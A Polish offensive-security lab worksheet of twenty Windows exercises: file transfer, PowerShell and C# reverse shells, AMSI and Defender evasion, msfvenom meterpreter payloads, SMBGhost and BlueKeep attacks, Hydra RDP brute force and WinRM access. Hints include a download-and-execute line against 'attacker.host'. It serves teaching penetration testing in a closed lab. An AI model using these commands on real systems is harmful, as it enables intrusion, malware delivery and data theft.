

ĆWICZENIA

ĆWICZENIE 0 – środowisko testowe

Zadanie:

- Zaloguj się do środowiska labowego DaDesktop.
- Uruchom swoją maszynę testową

Wskazówki:

Zezwól na wyskakujące okienka w przeglądarce (allow popup).

ĆWICZENIE 1 – lokalizacje do zapisu

Zadanie:

Win10-1 jest świeżą instalacją Windowsa 10, z domyślnymi ustawieniami, bez żadnego hardeningu.

- Zaloguj się do hosta Win10-1, korzystając z użytkownika dummy:dummy
- Korzystając z narzędzia winPEAS namierz lokalizacje dostępne do zapisu
- Sprawdź czy poniższy skrypt zwróci te same ścieżki:
<https://raw.githubusercontent.com/piotrkozowicz/tools/main/WriteablePaths.ps1>
- Wybierz jedną z nich – będziemy jej używać w dalszych ćwiczeniach

Wskazówki:

`nmap -sV -p- 10.10.10.2`

ĆWICZENIE 2 – transfer plików - powershell

Zadanie:

- Zaloguj się do systemu Kali

- Przejdź do folderu www znajdującego się na pulpicie i uruchom python'owy serwer http
- Zaloguj się na system Win10-1 (dummy:dummy) i korzystając z powershell'a prześlij do wybranego folderu plik dummy.txt

Wskazówki:

```
Python -m http.server 7777
IEX(New-Object Net.WebClient).DownloadFile("http://10.10.10.10/file.txt",
"C:\ProgramData")
wget http://10.10.10.10/file.txt -o file.txt
```

ĆWICZENIE 3 – transfer plików - smb

Zadanie:

- Zaloguj się do systemu Kali
- Korzystając z pakietu impacket i powershell'a prześlij plik z folderu ~/Desktop/www/dummy.txt na system Windows

Wskazówki:

```
impacket-smbserver -username [user] -password [pass] [share_name] $(pwd) -
smb2support
$pass = "secret" | ConvertTo-SecureString -AsPlainText -Force
$cred = New-Object System.Management.Automation.PsCredential('user',$pass)
New-PSDrive -name user -root \\10.10.14.5\piko -Credential $cred -
PSPProvider "filesystem"
```

ĆWICZENIE 4 – transfer plików – base64

Zadanie:

- Zaloguj się do systemu Kali
- Zaenkoduj i skopiuj do schowka plik nc.exe
- Skopiuj wartość base64, na Win10-1 i następnie „wypakuj” do pliku nc.exe

Wskazówki:

ĆWICZENIE 5 – transfer plików – metasploit

Zadanie:

- Zaloguj się do systemu Kali
- Uruchom metasploita
- Uruchom serwer tftp
- Zaloguj się na hosta Win10-1
- Korzystając z uruchomionego serwera tftp pobierz z plik dummy.txt

Wskazówki:

```
sudo msfconsole  
use auxiliary/server/tftp  
show options  
set SRVHOST x.x.x.x  
run
```

ĆWICZENIE 6 – transfer plików – lolbas

Zadanie:

- Zaloguj się do systemu Kali
- Uruchom serwer http python'owy, hostujący plik dummy.txt
- Korzystając z wybranej przez siebie metody lolbas, pobierz plik na system Windows

Wskazówki:

```
Python -m http.server 8888  
https://lolbas-project.github.io
```

ĆWICZENIE 7 – reverse shell – powershell

Zadanie:

- Zaloguj się do systemu Kali
- Przygotuj plik ps1 zawierający kod reverse shell'a
- Uruchom serwer http python'owy, hostujący plik shell.ps1
- Na systemie Windows uruchom komendę powershellową pobierającą reverse shell'a (DownloadFile)
- Czy plik jest uznawany za niebezpieczny?
- Uruchom reverse shell korzystając z DownloadString – czy tym razem Defender wysłał alert? Czy udało się zestawić reverse shell'a?

- Omiń AMSI korzystając z przedstawionej metody i spróbuj ponownie zestawić reverse shella

Wskazówki:

Python -m http.server 8888

powershell -C IEX(New-Object Net-

WebClient).DownloadString("http://attacker.host/shell.ps1")

ĆWICZENIE 8 – reverse shell – metasploit

Zadanie:

- Zaloguj się do systemu Kali
- Wygeneruj złośliwą binarkę używając narzędzia msfvenom, wykorzystaj payload meterpreter'owy
- Uruchom metasploita
- W metasploit'ie włącz multi handler i ustaw odpowiedni payload zgodny z msfvenomem
- Przenieś złośliwą binarkę na system windows i uruchom
- Co na to Defender?
- Znajdź lokalizację wyłączoną ze skanowania Defenderem (użyj powershella) i powtórz atak
- Wykorzystaj malware do zrobienia screenshotu, włączenia keyloggera

Wskazówki:

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp

LHOST=172.16.104.130 LPORT=31337 -f exe -o /tmp/1.exe

Sudo msfvenom

Use exploit/multi/handler -> set payload

ĆWICZENIE 9 – reverse shell – C#

Zadanie:

- Zaloguj się do systemu Kali
- Pobierz kod źródłowy przykładowego reverse shella w C#
- Prześlij kod na Windows i skompiluj go używając msbuild
- Uruchom listenera i następnie skompilowaną binarkę

Wskazówki:

c:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe revshell.cs
<https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc>
nc -nvlp 9001

ĆWICZENIE 10 – binarki własne

Zadanie:

- Korzystając z przykładowego kodu, stwórz program dodający nowego użytkownika i przetestuj go na systemie Windows

Wskazówki:

msbuidl

ĆWICZENIE 11 – binarki własne

Zadanie:

- Korzystając ze wskazówek na stronie <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking> stwórz bibliotekę dll dodającą nowego użytkownika i przetestuj ją na systemie Windows

Wskazówki:

ĆWICZENIE 12 – detekcja usług

Zadanie:

- Przeskanuj porty hosta Win10-1 z włączonymi ustawieniami domyślnymi firewalla oraz z wyłączonym firewall'em
- Jakie są różnice?

Wskazówki:

nmap -sC -sV -p- [ip]

ĆWICZENIE 13 – detekcja hostów Windows w Internecie

Zadanie:

- Ile Windowsów XP z wystawionym RDP jest dostępnych w Internecie?

Wskazówki:

shodan.io

has_screenshot:true port:3389

ĆWICZENIE 14 – SMB – dostęp anonimowy

Zadanie:

- Znajdź plik flag1.txt na serwerze Win10-1

Wskazówki:

Skorzystaj z różnych narzędzi przedstawionych na slajdach

ĆWICZENIE 15 – SMB – SMBGghost

Zadanie:

- Spróbuj przeprowadzić atak na system Win10-2 z użyciem podatności SMBleed oraz SBMGghost

Wskazówki:

<https://pentest-tools.com/blog/smbleedingghost-exploit>

ĆWICZENIE 16 – RPC

Zadanie:

- Korzystając z narzędzi przedstawionych na prezentacji przeprowadź enumerację RPC na goście Win-10
- Czy z domyślnymi ustawieniami da się podłączyć do usługi RPC?
- Otwórz konsolę mmc.exe, dodaj przystawkę do zarządzania GPO i przejdź do `\Local Computer Policy\Computer Configuration\Administrative Templates\System\Remote Procedure Call`
Następnie ustaw Restrict Unauthenticated RPC clients na None.
- Spróbuj ponownie się połączyć i zobacz czy uda się pozyskać jakieś informacje.
- Przejdź do Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options i sprawdź ustawienia "Network access: Do not allow anonymous enumeration of SAM accounts and shares"

Wskazówki:

Skorzystaj z różnych narzędzi przedstawionych na slajdach

ĆWICZENIE 17 – RDP

Zadanie:

- Korzystając z serwisu Shodan zidentyfikuj hosty z usługą RDP wystawioną do Internetu
- Sprawdź czy hosty faktycznie odpowiadają

Wskazówki:

port:3389 has_screenshot:true

ĆWICZENIE 18 – RDP brute force

Zadanie:

- Przeprowadź atak brute force na użytkownika user-01 korzystając z narzędzia hydra oraz wordlisty rockyou.txt dostępnej na Kali

Wskazówki:

```
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```

ĆWICZENIE 19 – RDP bluekeep

Zadanie:

- Użyj skanera w narzędziu metasploit w celu sprawdzenia, czy systemy Win10 oraz Win10-2, Win10-3 oraz Win7 są podatne na atak bluekeep.
- Spróbuj przeprowadzić atak na jednym z wybranych systemów (użyj metasploita) – jaki będzie efekt?
- Spróbuj powtórzyć atak z wykorzystaniem <https://github.com/RICSecLab/CVE-2019-0708>

Wskazówki:

Zgodnie z instrukcją na githubie

ĆWICZENIE 20 – winrm

Zadanie:

- Spróbuj wykonać komendę na hoście Win10 z użyciem użytkownika user-2 i narzędzia crackmapexec wykorzystującego usługę WinRM – czy próba się powiodła?
- Spróbuj powtórzyć test z użyciem konta user-1
- Połącz się z Win10 używając narzędzia Evil-winrm – wykorzystaj wbudowaną funkcjonalność upload'u i download'u plików, żeby pobrać plik secrets.txt z pulpitu i upload'ować dowolnie wybrany inny plik

Wskazówki:

```
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"  
evil-winrm
```
